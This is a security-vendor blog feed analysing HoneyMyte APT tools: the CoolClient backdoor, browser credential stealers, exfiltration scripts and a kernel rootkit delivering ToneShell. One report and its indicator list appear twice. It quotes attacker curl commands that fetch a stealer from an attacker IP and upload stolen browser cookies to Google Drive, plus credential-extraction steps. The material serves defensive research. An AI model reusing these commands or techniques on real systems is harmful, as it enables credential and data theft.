Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns

27 January 2026 at 09:00

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename Description
Sang.exe Legitimate Sangfor application abused for DLL sideloading.
libngs.dll Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat Encrypted configuration file.
main.dat Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter Actions
No parameter ·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
  • CoolClient decrypts time.dat.
  • Adds new key to the Run registry for persistence mechanism.
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly created write.exe process.
  • Checks for service control manager (SCM) access.
  • Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
  • Installs a service named media_updaten and starts it.
  • If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
  • Bypasses UAC and performs privilege elevation.
  • Checks if the machine runs Windows 10 or a later version.
  • Impersonates svchost.exe process by spoofing PEB information.
  • Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
  • Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value Command category
CC BB AA FF Beaconing, status update, configuration.
CD BB AA FF Operational commands such as tunnelling, keylogging and file operations.
No magic value Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID Action
0x0 Send beacon connection
0x1 Update beacon timestamp
0x2 Enumerate active user sessions
0x3 Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID Action
0x0 Set up reverse tunnel connection
0x1 Send data through tunnel
0x2 Close tunnel connection
0x3 Set up reverse proxy
0x4 Shut down a specific socket
0x6 List files in a directory
0x7 Delete file
0x8 Set up keylogger
0x9 Terminate keylogger thread
0xA Get clipboard data
0xB Install clipboard and active windows monitor
0xC Turn off clipboard and active windows monitor
0xD Read and send file
0xE Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID Action
0x0 Enumerate services
0x1 / 0x4 Start or resume service
0x2 Stop service
0x3 Pause service
0x5 Create service
0x6 Delete service
0x7 Set service to start automatically at boot
0x8 Set service to be launched manually
0x9 Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID Action
0x0 List drives and network resources
0x1 List files in folder
0x2 Delete file or folder
0x3 Create new folder
0x4 Move file
0x5 Read file
0x6 Write data to file
0x7 Compress file or folder into ZIP archive
0x8 Execute file
0x9 Download and execute file using certutil
0xA Search for file
0xB Send search result
0xC Map network drive
0xD Set chunk size for file transfers
0xF Bulk copy or move
0x10 Get file metadata
0x11 Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant Targeted browser(s) Execution method MD5 hash
A Chrome Direct execution (PE32) 1A5A9C013CE1B65ABC75D809A25D36A7
B Edge Direct execution (PE32) E1B7EF0F3AC0A0A64F86E220F362B149
C Chromium-based browsers DLL side-loading DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte's saved login data stealer and LuminousMoth's cookie stealer

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

The HoneyMyte APT evolves with a kernel-mode rootkit and a ToneShell backdoor

29 December 2025 at 11:00

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

  • FileRenameInformation
  • FileDispositionInformation
  • FileRenameInformationBypassAccessCheck
  • FileDispositionInformationEx
  • FileRenameInformationEx
  • FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

  • ProjectConfiguration
  • ProjectConfiguration\Instances
  • ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

  • RegNtPreCreateKey
  • RegNtPreOpenKey
  • RegNtPreCreateKeyEx
  • RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

